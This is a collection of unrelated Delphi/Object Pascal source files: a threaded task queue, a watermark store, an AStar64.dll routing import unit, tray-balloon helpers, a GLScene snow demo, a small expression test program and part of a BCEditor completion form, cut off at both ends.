r.layers[i] := lyToRecord(s.layers.get(i));
r.currentLayer := s.currentLayer;
snToRecord := r;
end;
end.
|
unit TaskQueue;
interface
uses
DebugTools, RyuLibBase, SimpleThread, SuspensionQueue,
SysUtils, Classes;
type
TTaskEnvet<TTaskType, TDataType> = procedure (ASender:Tobject; ATaskType:TTaskType; AData:TDataType) of object;
TTimerEvent = procedure (ASender:Tobject; ATick:integer) of object;
TTaskItem<TTaskType, TDataType> = class
private
FTaksType : TTaskType;
FData : TDataType;
public
constructor Create(ATaskType:TTaskType; ADataType:TDataType); reintroduce;
end;
{*
처리해야 할 작업을 큐에 넣고 차례로 실행한다.
작업의 실행은 내부의 스레드를 이용해서 비동기로 실행한다.
작업 요청이 다양한 스레드에서 진행되는데, 순차적인 동작이 필요 할 때 사용한다.
}
TTaskQueue<TTaskType, TDataType> = class
private
FQueue : TSuspensionQueue<TTaskItem<TTaskType, TDataType>>;
private
FSimpleThread : TSimpleThread;
procedure on_FSimpleThread_Execute(ASimpleThread:TSimpleThread);
private
FOnTask: TTaskEnvet<TTaskType, TDataType>;
public
constructor Create;
destructor Destroy; override;
procedure Add(ATaskType:TTaskType; ADataType:TDataType);
public
property OnTask : TTaskEnvet<TTaskType, TDataType> read FOnTask write FOnTask;
end;
implementation
{ TItem<TTaskType, TDataType> }
constructor TTaskItem<TTaskType, TDataType>.Create(ATaskType: TTaskType;
ADataType: TDataType);
begin
FTaksType := ATaskType;
FData := ADataType;
end;
{ TTaskQueue<TTaskType, TDataType> }
procedure TTaskQueue<TTaskType, TDataType>.Add(ATaskType: TTaskType;
ADataType: TDataType);
begin
FQueue.Push( TTaskItem<TTaskType,TDataType>.Create(ATaskType, ADataType) );
FSimpleThread.WakeUp;
end;
constructor TTaskQueue<TTaskType, TDataType>.Create;
begin
inherited;
FQueue := TSuspensionQueue<TTaskItem<TTaskType, TDataType>>.Create;
FSimpleThread := TSimpleThread.Create('TTaskQueue', on_FSimpleThread_Execute);
end;
destructor TTaskQueue<TTaskType, TDataType>.Destroy;
begin
FSimpleThread.TerminateNow;
FreeAndNil(FQueue);
FreeAndNil(FSimpleThread);
inherited;
end;
procedure TTaskQueue<TTaskType, TDataType>.on_FSimpleThread_Execute(
ASimpleThread: TSimpleThread);
var
Item : TTaskItem<TTaskType,TDataType>;
begin
while ASimpleThread.Terminated = false do begin
Item := FQueue.Pop;
try
if Assigned(FOnTask) then FOnTask(Self, Item.FTaksType, Item.FData);
finally
Item.Free;
end;
end;
end;
end.
|
namespace proholz.xsdparser;
interface
type
NamespaceInfo = public class
private
var name: String;
var file: String;
public
constructor(aname: String);
method getName: String; virtual;
method getFile: String; virtual;
method setFile(afile: String); virtual;
end;
implementation
constructor NamespaceInfo(aname: String);
begin
self.name := aname;
end;
method NamespaceInfo.getName: String;
begin
exit name;
end;
method NamespaceInfo.getFile: String;
begin
exit file;
end;
method NamespaceInfo.setFile(afile: String);
begin
self.file := afile;
end;
end. |
unit Watermarks.Base;
//------------------------------------------------------------------------------
// класс watermark'ов
//
// базовый класс не является абстрактным;
// он полностью функционален, но работает только в памяти.
//
// + абстрактный класс с сохранением по таймеру
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
interface
uses
SysUtils, SyncObjs, ExtCtrls,
System.Generics.Collections;
//------------------------------------------------------------------------------
type
//------------------------------------------------------------------------------
//! класс-словарь watermark'ов
//------------------------------------------------------------------------------
TWatermarksDataPair = TPair<string, TDateTime>;
TWatermarksDataStorage = class(TDictionary<string, TDateTime>);
//------------------------------------------------------------------------------
//! базовый класс watermark'ов
//------------------------------------------------------------------------------
TWatermarksBase = class
protected
//!
FWM: TWatermarksDataStorage;
//!
FLocker: TCriticalSection;
public
//!
constructor Create();
//!
destructor Destroy(); override;
//!
procedure SetWatermark(
const AKey: string;
const ATimestamp: TDateTime
); virtual;
//!
function GetWatermark(
const AKey: string;
out ATimestamp: TDateTime
): Boolean; virtual;
//!
procedure DeleteWatermark(
const AKey: string
); virtual;
end;
//------------------------------------------------------------------------------
//! базовый класс watermark'ов
//------------------------------------------------------------------------------
TWatermarksTimed = class abstract(TWatermarksBase)
private
//!
FCycleTimer: TTimer;
protected
//!
procedure OnCycleTimer(
Sender: TObject
); virtual; abstract;
public
//!
constructor Create(
const ASaveInterval: Integer
);
//!
destructor Destroy(); override;
end;
//------------------------------------------------------------------------------
implementation
//------------------------------------------------------------------------------
// TWatermarksBase
//------------------------------------------------------------------------------
constructor TWatermarksBase.Create();
begin
inherited Create();
//
FWM := TWatermarksDataStorage.Create();
FLocker := TCriticalSection.Create();
end;
destructor TWatermarksBase.Destroy();
begin
FLocker.Free();
FWM.Free();
//
inherited Destroy();
end;
procedure TWatermarksBase.SetWatermark(
const AKey: string;
const ATimestamp: TDateTime
);
begin
FLocker.Acquire();
try
FWM.AddOrSetValue(AKey, ATimestamp);
finally
FLocker.Release();
end;
end;
function TWatermarksBase.GetWatermark(
const AKey: string;
out ATimestamp: TDateTime
): Boolean;
begin
FLocker.Acquire();
try
Result := FWM.ContainsKey(AKey);
if Result then
ATimestamp := FWM[AKey];
finally
FLocker.Release();
end;
end;
procedure TWatermarksBase.DeleteWatermark(
const AKey: string
);
begin
FLocker.Acquire();
try
FWM.Remove(AKey);
finally
FLocker.Release();
end;
end;
//------------------------------------------------------------------------------
// TWatermarksTimed
//------------------------------------------------------------------------------
constructor TWatermarksTimed.Create(
const ASaveInterval: Integer
);
begin
inherited Create();
//
FCycleTimer := TTimer.Create(nil);
FCycleTimer.Interval := ASaveInterval * 1000;
FCycleTimer.OnTimer := OnCycleTimer;
end;
destructor TWatermarksTimed.Destroy();
begin
FCycleTimer.Free();
//
inherited Destroy();
end;
end.
|
unit AStar64.DynImport;
//------------------------------------------------------------------------------
// модуль импорта функций AStar.dll
//
// содержит описание прототипов функций AStar.dll, а также описание структур
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
interface
uses
System.Sysutils, StrUtils;
//------------------------------------------------------------------------------
type
//------------------------------------------------------------------------------
//!
//------------------------------------------------------------------------------
TAStarParam = record
Penalty: Double; // m_fPenalty
DijkstraRate: Double; // m_fDijkstraRatio
DijkstraOn: Int32; // m_bImDijkstra (BOOL)
UseMapTypes: Int32; // m_bUseType (BOOL)
PathType1: Int32; // m_iPathType1
PathType2: Int32; // m_iPathType2
PathType3: Int32; // m_iPathType3
PathPart1: Int32; // m_iPathPart1
PathPart2: Int32; // m_iPathPart2
PathPart3: Int32; // m_iPathPart3
AverageSpeedFlag: Int32; // m_bAverageSpeed (BOOL)
end;
//------------------------------------------------------------------------------
//!
//------------------------------------------------------------------------------
PCoords = ^TCoords;
TCoords = packed record
//! Широта
Latitude: Double;
//! Долгота
Longitude: Double;
//! Дальше
Next: PCoords;
end;
PRoadSpeedsRecord = ^TRoadSpeedsRecord;
TRoadSpeedsRecord = packed record
Motorway : UInt8;
MotorwayLink : UInt8;
Trunk : UInt8;
TrunkLink : UInt8;
Primary : UInt8;
PrimaryLink : UInt8;
Secondary : UInt8;
SecondaryLink : UInt8;
Tertiary : UInt8;
TertiaryLink : UInt8;
Residential : UInt8;
Road : UInt8;
Unclassified : UInt8;
Service : UInt8;
LivingStreet : UInt8;
reverse : UInt8;
end;
PAstarRequest = ^TAstarRequest;
TAstarRequest = packed record
Version: UInt64;
FromLatitude: Double;
FromLongitude: Double;
ToLatitude: Double;
ToLongitude: Double;
ZonesLimit: UInt64;
RoadSpeedsRecord: TRoadSpeedsRecord;
FormatVariant: Integer;
LenTreshold: Double;
Timeout: Integer;
Distance: Double;
Duration: Double;
BufferLen: Integer;
HashString: PAnsiChar;
end;
//------------------------------------------------------------------------------
//! прототип процедуры обратного вызова
//------------------------------------------------------------------------------
TSpeedCallbackFunc = function(
//! ссылка на внешние данные
const AHandle: Pointer;
//! ссылка на передаваемые данные
const AMetaData: Pointer
): Integer; stdcall;
//------------------------------------------------------------------------------
var
CreateRoute: function(
const AHandle: Pointer;
const ASpeedCB: Pointer;
const AFromLatitude: Double;
const AFromLongitude: Double;
const AToLatitude: Double;
const AToLongitude: Double;
var RDistance: Double;
var RDuration: Double
): Integer; stdcall;
//------------------------------------------------------------------------------
//! рассчитать + вернуть путь
//------------------------------------------------------------------------------
CreateRouteWithPath: function (
const AHandle: Pointer;
const ASpeedCB: Pointer;
const AFromLatitude: Double;
const AFromLongitude: Double;
const AToLatitude: Double;
const AToLongitude: Double;
var RDistance: Double;
var RDuration: Double;
var RHashString: PAnsiChar
): Integer; stdcall;
//------------------------------------------------------------------------------
//! рассчитать + вернуть путь и скорость
//------------------------------------------------------------------------------
CreateRouteWithSpeedline: function (
const AHandle: Pointer;
const ASpeedCB: Pointer;
const AFromLatitude: Double;
const AFromLongitude: Double;
const AToLatitude: Double;
const AToLongitude: Double;
var RDistance: Double;
var RDuration: Double;
var RSLString: PAnsiChar
): Integer; stdcall;
//------------------------------------------------------------------------------
//! освободить память результирующих строк
//------------------------------------------------------------------------------
CleanupMem: procedure (
const AHashString: PAnsiChar
); stdcall;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//! рассчитать + вернуть путь
//------------------------------------------------------------------------------
CreateRouteWithPath2: function(
const AHandle: Pointer;
const ASpeedCB: TSpeedCallbackFunc;
const AFromLatitude: Double;
const AFromLongitude: Double;
const AToLatitude: Double;
const AToLongitude: Double;
const ABufferLen: Integer;
const RHashString: PAnsiChar;
var RBufferLen: Integer;
var RDistance: Double;
var RDuration: Double
): Integer; stdcall;
//------------------------------------------------------------------------------
//! рассчитать + вернуть путь и скорость
//------------------------------------------------------------------------------
CreateRouteWithSpeedline2: function(
const AHandle: Pointer;
const ASpeedCB: TSpeedCallbackFunc;
const AFromLatitude: Double;
const AFromLongitude: Double;
const AToLatitude: Double;
const AToLongitude: Double;
const ABufferLen: Integer;
const RSLString: PAnsiChar;
var RBufferLen: Integer;
var RDistance: Double;
var RDuration: Double
): Integer; stdcall;
//------------------------------------------------------------------------------
//! рассчитать + вернуть путь + <скорость и т.п.>
//------------------------------------------------------------------------------
CreateRouteWithPath3: function(
const AAStarRequest: PAstarRequest
): Integer; stdcall;
GetRoadSpeedsDefault: procedure(const ARoadSpeedsRecord: PRoadSpeedsRecord); stdcall;
GetRoadSpeedsKToDef: procedure(const ARoadSpeedsRecord: PRoadSpeedsRecord; const ADefSpeed: Integer; const ADefCitySpeed: Integer); stdcall;
function LoadAStar64(const AAstarPath: string = ''): Boolean;
procedure UnloadAStar64;
implementation
uses
Windows;
var
HAStar64: THandle;
function LoadAStar64(const AAstarPath: string = ''): Boolean;
var
AstarImage: string;
begin
// HAStar64 := LoadLibrary('igf\AStar64.dll');
Result := False;
AstarImage := IfThen(AAstarPath = '', '', IncludeTrailingPathDelimiter(AAstarPath)) + 'AStar64.dll';
HAStar64 := LoadLibrary(PChar(AstarImage));
if HAStar64 > 0 then
begin
CreateRoute := GetProcAddress(HAStar64, 'CreateRoute');
CreateRouteWithPath := GetProcAddress(HAStar64, 'CreateRouteWithPath');
CreateRouteWithSpeedline := GetProcAddress(HAStar64, 'CreateRouteWithSpeedline');
CleanupMem := GetProcAddress(HAStar64, 'CleanupMem');
CreateRouteWithPath2 := GetProcAddress(HAStar64, 'CreateRouteWithPath2');
CreateRouteWithSpeedline2 := GetProcAddress(HAStar64, 'CreateRouteWithSpeedline2');
CreateRouteWithPath3 := GetProcAddress(HAStar64, 'CreateRouteWithPath3');
GetRoadSpeedsDefault := GetProcAddress(HAStar64, 'GetRoadSpeedsDefault');
GetRoadSpeedsKToDef := GetProcAddress(HAStar64, 'GetRoadSpeedsKToDef');
Result := True;
end;
end;
procedure UnloadAStar64;
begin
FreeLibrary(HAStar64);
CreateRoute := nil;
CreateRouteWithPath := nil;
CreateRouteWithSpeedline := nil;
CleanupMem := nil;
CreateRouteWithPath2 := nil;
CreateRouteWithSpeedline2 := nil;
CreateRouteWithPath3 := nil;
GetRoadSpeedsDefault := nil;
GetRoadSpeedsKToDef := nil;
end;
//function CalcPlanRoute; external CAStarDLLName;
//procedure CleanUpMemory; external CAStarDLLName;
//procedure SetParamsByCriterion; external CAStarDLLName;
//procedure SetParams; external CAStarDLLName;
//function SetFilePath; external CAStarDLLName;
initialization
HAStar64 := 0;
CreateRoute := nil;
CreateRouteWithPath := nil;
CreateRouteWithSpeedline := nil;
CleanupMem := nil;
CreateRouteWithPath2 := nil;
CreateRouteWithSpeedline2 := nil;
CreateRouteWithPath3 := nil;
GetRoadSpeedsDefault := nil;
GetRoadSpeedsKToDef := nil;
end.
|
//******************************************************************************
// Проект "ГорВодоКанал" (bs)
// Файл ????
// Перчак А.Л.
// создан 18/01/2010
// последние изменения Перчак А.Л. 18/01/2010
//******************************************************************************
unit uCommon_Tray_Baloon;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,
Dialogs, ShellAPI, StdCtrls;
type
NotifyIconData_50 = record // определённая в shellapi.h
cbSize: DWORD;
Wnd: HWND;
uID: UINT;
uFlags: UINT;
uCallbackMessage: UINT;
hIcon: HICON;
szTip: array[0..MAXCHAR] of AnsiChar;
dwState: DWORD;
dwStateMask: DWORD;
szInfo: array[0..MAXBYTE] of AnsiChar;
uTimeout: UINT; // union with uVersion: UINT;
szInfoTitle: array[0..63] of AnsiChar;
dwInfoFlags: DWORD;
end{record};
const
NIF_INFO = $00000010;
NIIF_NONE = $00000000;
NIIF_INFO = $00000001;
NIIF_WARNING = $00000002;
NIIF_ERROR = $00000003;
//А это набор вспомогательных типов:
type
TBalloonTimeout = 3..30{seconds};
TBalloonIconType = (bitNone, // нет иконки
bitInfo, // информационная иконка (синяя)
bitWarning, // иконка восклицания (жёлтая)
bitError); // иконка ошибки (краснаа)
function DZBalloonTrayIcon(const Window: HWND; const IconID: Byte; const Timeout: TBalloonTimeout; const BalloonText, BalloonTitle: String; const BalloonIconType: TBalloonIconType): Boolean;
function DZAddTrayIcon(const Window: HWND; const IconID: Byte; const Icon: HICON; const Hint: String = ''): Boolean;
function DZRemoveTrayIcon(const Window: HWND; const IconID: Byte): Boolean;
implementation
function DZBalloonTrayIcon(const Window: HWND; const IconID: Byte; const Timeout: TBalloonTimeout; const BalloonText, BalloonTitle: String; const BalloonIconType: TBalloonIconType): Boolean;
const
aBalloonIconTypes : array[TBalloonIconType] of Byte = (NIIF_NONE, NIIF_INFO, NIIF_WARNING, NIIF_ERROR);
var
NID_50 : NotifyIconData_50;
begin
FillChar(NID_50, SizeOf(NotifyIconData_50), 0);
with NID_50 do
begin
cbSize := SizeOf(NotifyIconData_50);
Wnd := Window;
uID := IconID;
uFlags := NIF_INFO;
StrPCopy(szInfo, BalloonText);
uTimeout := Timeout* 1000;
StrPCopy(szInfoTitle, BalloonTitle);
dwInfoFlags := aBalloonIconTypes[BalloonIconType];
end;
Result := Shell_NotifyIcon(NIM_MODIFY, @NID_50);
end;
{добавление иконки}
function DZAddTrayIcon(const Window: HWND; const IconID: Byte; const Icon: HICON; const Hint: String = ''): Boolean;
var
NID : NotifyIconData;
begin
FillChar(NID, SizeOf(NotifyIconData), 0);
with NID do
begin
cbSize := SizeOf(NotifyIconData);
Wnd := Window;
uID := IconID;
if Hint = '' then
begin
uFlags := NIF_ICON;
end
else
begin
uFlags := NIF_ICON or NIF_TIP;
StrPCopy(szTip, Hint);
end;
hIcon := Icon;
end;
Result := Shell_NotifyIcon(NIM_ADD, @NID);
end;
{удаляет иконку}
function DZRemoveTrayIcon(const Window: HWND; const IconID: Byte): Boolean;
var
NID : NotifyIconData;
begin
FillChar(NID, SizeOf(NotifyIconData), 0);
with NID do
begin
cbSize := SizeOf(NotifyIconData);
Wnd := Window;
uID := IconID;
end;
Result := Shell_NotifyIcon(NIM_DELETE, @NID);
end;
end.
|
{: Based on 'Particles' demo from glscene <p>
This demo will show snow effect;
Michail Sychev AKA Riz (riz@eternalmind.ru)
}
unit Unit1;
interface
uses
Forms, GLScene, GLObjects, GLParticles, StdCtrls, GLCadencer, ExtCtrls,
GLBehaviours, Classes, Controls, GLVectorGeometry, SysUtils, GLWin32Viewer, tga, types, dialogs,
GLSkydome, gltexture, GLCoordinates, GLCrossPlatform, GLBaseClasses,
GLMaterial;
type
TForm1 = class (TForm)
GLSceneViewer1 : TGLSceneViewer;
GLScene1 : TGLScene;
GLCamera1 : TGLCamera;
GLParticles1 : TGLParticles;
GLCadencer1 : TGLCadencer;
Timer1 : TTimer;
GLDummyCube1 : TGLDummyCube;
Timer2 : TTimer;
procedure GLParticles1ActivateParticle(Sender : TObject;
particle : TGLBaseSceneObject);
procedure Timer1Timer(Sender : TObject);
procedure FormCreate(Sender : TObject);
procedure FormResize(Sender : TObject);
procedure GLSceneViewer1MouseDown(Sender : TObject;
Button : TMouseButton; Shift : TShiftState; X, Y : Integer);
procedure GLSceneViewer1MouseMove(Sender : TObject; Shift : TShiftState;
X, Y : Integer);
procedure FormMouseWheel(Sender : TObject; Shift : TShiftState;
WheelDelta : Integer; MousePos : TPoint; var Handled : Boolean);
procedure Timer2Timer(Sender : TObject);
private
procedure SSpriteProgress(Sender : TObject; const deltaTime, newTime : Double);
public
end;
type // Let's create simple class to hold data for particles movement
TSpriteHolder = class (TObject)
public
amp, kof : real;
initalPosx, initalPosz : real;
speed : real;
end;
var
Form1 : TForm1;
SSprite : TGLSprite;
implementation
{$R *.DFM}
procedure TForm1.SSpriteProgress(Sender : TObject; const deltaTime,
newTime : Double);
var
life : Double;
tempholder : TSpriteHolder;
begin
with TGlSprite(Sender) do
begin
// calculate for how long we've been living
life := (newTime - TagFloat);
tempholder := TSpriteholder(TGlSprite(Sender).TagObject);
Position.y := Position.y - (deltatime / 2) * tempholder.speed;
position.X := tempholder.initalPosx - (tempholder.amp / 2) + (tempholder.amp / 2 * sin(life));
position.Z := tempholder.initalPosz - (tempholder.amp / 2) + (tempholder.amp / 2 * cos(life));
if life > 25 then
// old particle to kill
begin Form1.GLParticles1.KillParticle(TGlSprite(Sender)) end
// We are happy because actually we don't destroy anything(fragment memory and all bad stuff)
// rather than reusing free particles from pool
else
begin Material.FrontProperties.Diffuse.Alpha := (24 - life) / 24 end;
end;
end;
procedure TForm1.FormCreate(Sender : TObject);
begin
// if we don't do this, our random won't look like random
Randomize;
SSprite := TGLSprite(GLParticles1.AddNewChild(TGLSprite));
SSprite.Material.Texture.Image.LoadFromFile('Flare1.bmp');
SSprite.Material.BlendingMode := bmAdditive;
SSprite.Material.Texture.Disabled := False;
SSprite.OnProgress := SSpriteProgress;
end;
procedure TForm1.GLParticles1ActivateParticle(Sender : TObject;
particle : TGLBaseSceneObject);
begin
// this event is called when a particle is activated,
// ie. just before it will be rendered
with Tglsprite(particle) do
begin
with Material.FrontProperties do
begin
// we pick a random color
Emission.Color := PointMake(1, 1, 1);
// our halo starts transparent
Diffuse.Alpha := 1;
end;
// this is our "birth time"
TagFloat := GLCadencer1.CurrentTime;
end;
end;
var mx, my : integer;
procedure TForm1.GLSceneViewer1MouseDown(Sender : TObject;
Button : TMouseButton; Shift : TShiftState; X, Y : Integer);
begin
mx := x;
my := y;
end;
procedure TForm1.GLSceneViewer1MouseMove(Sender : TObject;
Shift : TShiftState; X, Y : Integer);
begin
if ssLeft in Shift then
begin GLCamera1.MoveAroundTarget(my - y, mx - x) end;
mx := x;
my := y;
end;
procedure TForm1.Timer1Timer(Sender : TObject);
var i : integer;
begin
for i := 0 to 6 do
begin
with TGlSprite(GLParticles1.CreateParticle) do
begin
Position.X := GlDummyCube1.Position.X + (GlDummyCube1.CubeSize / 2) * random - (GlDummyCube1.CubeSize / 4);
Position.Z := GlDummyCube1.Position.Z + (GlDummyCube1.CubeSize / 2) * random - (GlDummyCube1.CubeSize / 4);
// Snow should fall from the top of the cube
Position.Y := GlDummyCube1.Position.Y + (GlDummyCube1.CubeSize / 4); ;
Width := random * 0.2;
height := Width;
// We need to store some additional info
TagObject := TSpriteholder.create;
(TagObject as TSpriteholder).amp := random;
(TagObject as TSpriteholder).kof := random;
(TagObject as TSpriteholder).initalposx := Position.X;
(TagObject as TSpriteholder).initalposz := Position.z;
(TagObject as TSpriteholder).speed := random;
end;
end;
end;
procedure TForm1.Timer2Timer(Sender : TObject);
begin
// infos for the user
Caption := Format('%d particles, %.1f FPS',
[GLParticles1.Count - 1, GLSceneViewer1.FramesPerSecond]);
GLSceneViewer1.ResetPerformanceMonitor;
end;
procedure TForm1.FormResize(Sender : TObject);
begin
// change focal so the view will shrink and not just get clipped
GLCamera1.FocalLength := 50 * Width / 280;
end;
procedure TForm1.FormMouseWheel(Sender : TObject; Shift : TShiftState;
WheelDelta : Integer; MousePos : TPoint; var Handled : Boolean);
begin
with GLSceneViewer1 do
begin if PtInRect(ClientRect, ScreenToClient(MousePos)) then
begin
GLCamera1.SceneScale := GLCamera1.SceneScale * (1000 - WheelDelta) / 1000;
Handled := true;
end end;
end;
end.
|
{ expression: ((22 MOD (2 * 4)) * (21 DIV 3)) }
PROGRAM test_case_1_3;
VAR
number: REAL;
BEGIN
number := ((22 MOD (2 * 4)) * (21 DIV 3));
WRITELN(number);
END. |
unit BCEditor.Editor.CompletionProposal.Form;
interface
uses
Winapi.Messages, System.Classes, System.Types, Vcl.StdCtrls, Vcl.Forms, Vcl.Controls, Vcl.Graphics, BCEditor.Utils,
BCEditor.Types, BCEditor.Editor.CompletionProposal.Columns{$IFDEF USE_ALPHASKINS}, sScrollBar{$ENDIF};
const
TextHeightString = 'X';
type
TBCEditorValidateEvent = procedure(Sender: TObject; Shift: TShiftState; EndToken: Char) of object;
TBCEditorCompletionProposalForm = class(TCustomForm)
strict private
FAdjustCompletionStart: Boolean;
FAssignedList: TStrings;
FBackgroundColor: TColor;
FBitmap: TBitmap;
FBorderColor: TColor;
FCaseSensitive: Boolean;
FCloseChars: string;
FColumns: TBCEditorProposalColumns;
FCompletionStart: Integer;
FCurrentString: string;
FDisplayType: TBCEditorCompletionType;
FEffectiveItemHeight: Integer;
FFiltered: Boolean;
FFont: TFont;
FFontHeight: Integer;
FFormWidth: Integer;
FHeightBuffer: Integer;
FImages: TImageList;
FItemHeight: Integer;
FItemList: TStrings;
FMargin: Integer;
FMouseWheelAccumulator: Integer;
FNoNextKey: Boolean;
FOldShowCaret: Boolean;
FOnCancel: TNotifyEvent;
FOnValidate: TBCEditorValidateEvent;
FPosition: Integer;
FResizeable: Boolean;
{$IFDEF USE_ALPHASKINS}
FScrollBar: TsScrollBar;
{$ELSE}
FScrollBar: TScrollBar;
{$ENDIF}
FSelectedBackgroundColor: TColor;
FSelectedTextColor: TColor;
FTriggerChars: string;
FVisibleLines: Integer;
function IsWordBreakChar(AChar: Char): Boolean;
procedure AddKeyPressHandler;
procedure AdjustScrollBarPosition;
procedure AdjustMetrics;
procedure DoDoubleClick(Sender: TObject);
procedure DoFormHide(Sender: TObject);
procedure DoFormShow(Sender: TObject);
procedure EditorKeyPress(Sender: TObject; var Key: Char);
procedure FontChange(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure HandleOnCancel(Sender: TObject);
procedure HandleDblClick(Sender: TObject);
procedure HandleOnKeyPress(Sender: TObject; var Key: Char);
procedure HandleOnValidate(Sender: TObject; Shift: TShiftState; EndToken: Char);
procedure MoveLine(LineCount: Integer);
procedure RecalcItemHeight;
procedure RemoveKeyPressHandler;
procedure SetColumns(Value: TBCEditorProposalColumns);
procedure SetCurrentString(const Value: string);
procedure SetFont(const Value: TFont);
procedure SetImages(const Value: TImageList);
procedure SetItemHeight(const Value: Integer);
procedure SetItemList(const Value: TStrings);
procedure SetPosition(const Value: Integer);
procedure SetResizeable(const Value: Boolean);
procedure ScrollBarOnChange(Sender: TObject);
procedure ScrollBarOnEnter(Sender: TObject);
procedure ScrollBarOnScroll(Sender: TObject; ScrollCode: TScrollCode; var ScrollPos: Integer);
procedure StringListChange(Sender: TObject);
protected
function CanResize(var NewWidth, NewHeight: Integer): Boolean; override;
procedure Activate; override;
procedure CreateParams(var Params: TCreateParams); override;
procedure Deactivate; override;
procedure DoKeyPressW(Key: Char);
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
procedure KeyPressW(var Key: Char); virtual;
procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
procedure Paint; override;
procedure Resize; override;
procedure WMChar(var Msg: TWMChar); message WM_CHAR;
procedure WMEraseBackgrnd(var Message: TMessage); message WM_ERASEBKGND;
procedure WMGetDlgCode(var Message: TWMGetDlgCode); message WM_GETDLGCODE;
procedure WMMouseWheel(var Msg: TMessage); message WM_MOUSEWHEEL;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function GetCurrentInput: string;
procedure CancelCompletion;
procedure Execute(ACurrentString: string; X, Y: Integer; ADisplayType: TBCEditorCompletionType = ctNone);
property BackgroundColor: TColor read FBackgroundColor write FBackgroundColor default clWindow;
property BorderColor: TColor read FBorderColor write FBorderColor default clBtnFace;
property CaseSensitive: Boolean read FCaseSensitive write FCaseSensitive default False;
property CloseChars: string read FCloseChars write FCloseChars;
property Columns: TBCEditorProposalColumns read FColumns write SetColumns;
property CurrentString: string read FCurrentString write SetCurrentString;
property Filtered: Boolean read FFiltered write FFiltered;
property Font: TFont read FFont write SetFont;
property FormWidth: Integer read FFormWidth write FFormWidth; { Don't use the width because it triggers resizing }
property Images: TImageList read FImages write SetImages;
property ItemHeight: Integer read FItemHeight write SetItemHeight default 0;
property ItemList: TStrings read FItemList write SetItemList;
property Margin: Integer read FMargin write FMargin default 2;
property OnCancel: TNotifyEvent read FOnCancel write FOnCancel;
property OnValidate: TBCEditorValidateEvent read FOnValidate write FOnValidate;
property Position: Integer read FPosition write SetPosition;
property Resizeable: Boolean read FResizeable write SetResizeable default True;
property SelectedBackgroundColor: TColor read FSelectedBackgroundColor write FSelectedBackgroundColor
default clHighlight;
property SelectedTextColor: TColor read FSelectedTextColor write FSelectedTextColor default clHighlightText;
property TriggerChars: string read FTriggerChars write FTriggerChars;
property VisibleLines: Integer read FVisibleLines write FVisibleLines;
end;
function CompletionProposalHintForm(AOwner: TComponent): TBCEditorCompletionProposalForm;
implementation
uses
Winapi.Windows, System.SysUtils, System.UITypes, BCEditor.Editor.Base, BCEditor.Editor.KeyCommands,
BCEditor.Editor.Utils, BCEditor.Consts, System.Math{$IFDEF USE_ALPHASKINS}, sSkinProvider, sMessages{$ENDIF};
var
FCompletionProposalHintForm: TBCEditorCompletionProposalForm;
function CompletionProposalHintForm(AOwner: TComponent): TBCEditorCompletionProposalForm;
begin
if not Assigned(FCompletionProposalHintForm) then
FCompletionProposalHintForm := TBCEditorCompletionProposalForm.Create(AOwner);
Result := FCompletionProposalHintForm;
end;
{ TBCEditorCompletionProposalForm }
constructor TBCEditorCompletionProposalForm.Create(AOwner: TComponent);
{$IFDEF USE_ALPHASKINS}
var
LSkinProvider: TsSkinProvider;
{$ENDIF}
begin
CreateNew(AOwner);
AddKeyPressHandler;
Visible := False;
FResizeable := True;
FBitmap := Vcl.Graphics.TBitmap.Create;
FItemList := TStringList.Create;
FAssignedList := TStringList.Create;
FFiltered := False;
{$IFDEF USE_ALPHASKINS}
FScrollBar := TsScrollBar.Create(Self);
{$ELSE}
FScrollBar := TScrollBar.Create(Self);
{$ENDIF}
with FScrollBar do
begin
Kind := sbVertical;
ParentCtl3D := False;
OnChange := ScrollBarOnChange;
OnScroll := ScrollBarOnScroll;
OnEnter := ScrollBarOnEnter;
Parent := Self;
end;
FFont := TFont.Create;
FFont.Name := 'Courier New';
FFont.Size := 8;
FSelectedBackgroundColor := clHighlight;
FSelectedTextColor := clHighlightText;
FBackgroundColor := clWindow;
FBorderColor := clBtnFace;
(FItemList as TStringList).OnChange := StringListChange;
FCaseSensitive := False;
FormStyle := fsStayOnTop;
FColumns := TBCEditorProposalColumns.Create(AOwner, TBCEditorProposalColumn);
FItemHeight := 0;
FMargin := 2;
FEffectiveItemHeight := 0;
RecalcItemHeight;
FHeightBuffer := 0;
FFont.OnChange := FontChange;
OnDblClick := DoDoubleClick;
OnShow := DoFormShow;
OnHide := DoFormHide;
OnKeyPress := HandleOnKeyPress;
OnValidate := HandleOnValidate;
OnCancel := HandleOnCancel;
OnDblClick := HandleDblClick;
OnDestroy := FormDestroy;
TriggerChars := '.';
FNoNextKey := False;
{$IFDEF USE_ALPHASKINS}
LSkinProvider := TsSkinProvider(SendMessage(Handle, SM_ALPHACMD, MakeWParam(0, AC_GETPROVIDER), 0));
if Assigned(LSkinProvider) then
begin
LSkinProvider.AllowExtBorders := False;
LSkinProvider.DrawNonClientArea := False;
LSkinProvider.DrawClientArea := False;
end;
{$ENDIF}
end;
destructor TBCEditorCompletionProposalForm.Destroy;
begin
RemoveKeyPressHandler;
if Visible then
CancelCompletion;
FColumns.Free;
FBitmap.Free;
FItemList.Free;
FAssignedList.Free;
FFont.Free;
inherited Destroy;
end;
procedure TBCEditorCompletionProposalForm.AddKeyPressHandler;
var
Editor: TBCBaseEditor;
begin
Editor := Owner as TBCBaseEditor;
Editor.AddKeyPressHandler(EditorKeyPress);
end;
procedure TBCEditorCompletionProposalForm.RemoveKeyPressHandler;
var
Editor: TBCBaseEditor;
begin
Editor := Owner as TBCBaseEditor;
Editor.RemoveKeyPressHandler(EditorKeyPress);
end;
procedure TBCEditorCompletionProposalForm.CreateParams(var Params: TCreateParams);
begin
inherited;
with Params do
if ((Win32Platform and VER_PLATFORM_WIN32_NT) <> 0) and (Win32MajorVersion > 4) and (Win32MinorVersion > 0) then
WindowClass.Style := WindowClass.Style or CS_DROPSHADOW;
end;
procedure TBCEditorCompletionProposalForm.Activate;
begin
Visible := True;
if (FDisplayType = ctCode) and Assigned(Owner) then
(Owner as TBCBaseEditor).AddFocusControl(Self);
end;
procedure TBCEditorCompletionProposalForm.Deactivate;
